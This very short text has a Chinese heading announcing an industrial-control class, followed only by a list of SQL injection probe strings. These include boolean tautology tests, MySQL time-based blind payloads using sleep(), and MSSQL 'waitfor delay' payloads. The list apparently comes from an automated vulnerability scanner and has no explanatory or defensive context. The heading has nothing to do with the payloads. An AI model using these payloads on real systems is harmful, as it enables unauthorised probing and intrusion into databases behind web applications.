工控课堂-开课了！！

-1' OR 2+154-154-1=0+0+0+1 --

-1' OR 3+154-154-1=0+0+0+1 --

-1' OR 2+44-44-1=0+0+0+1 or 'x5wUnNvS'='

-1" OR 2+677-677-1=0+0+0+1 --

-1" OR 3+677-677-1=0+0+0+1 --

if(now()=sysdate(),sleep(9),0)

0'XOR(if(now()=sysdate(),sleep(9),0))XOR'Z

(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/

-1; waitfor delay '0:0:6' --

-1); waitfor delay '0:0:3' --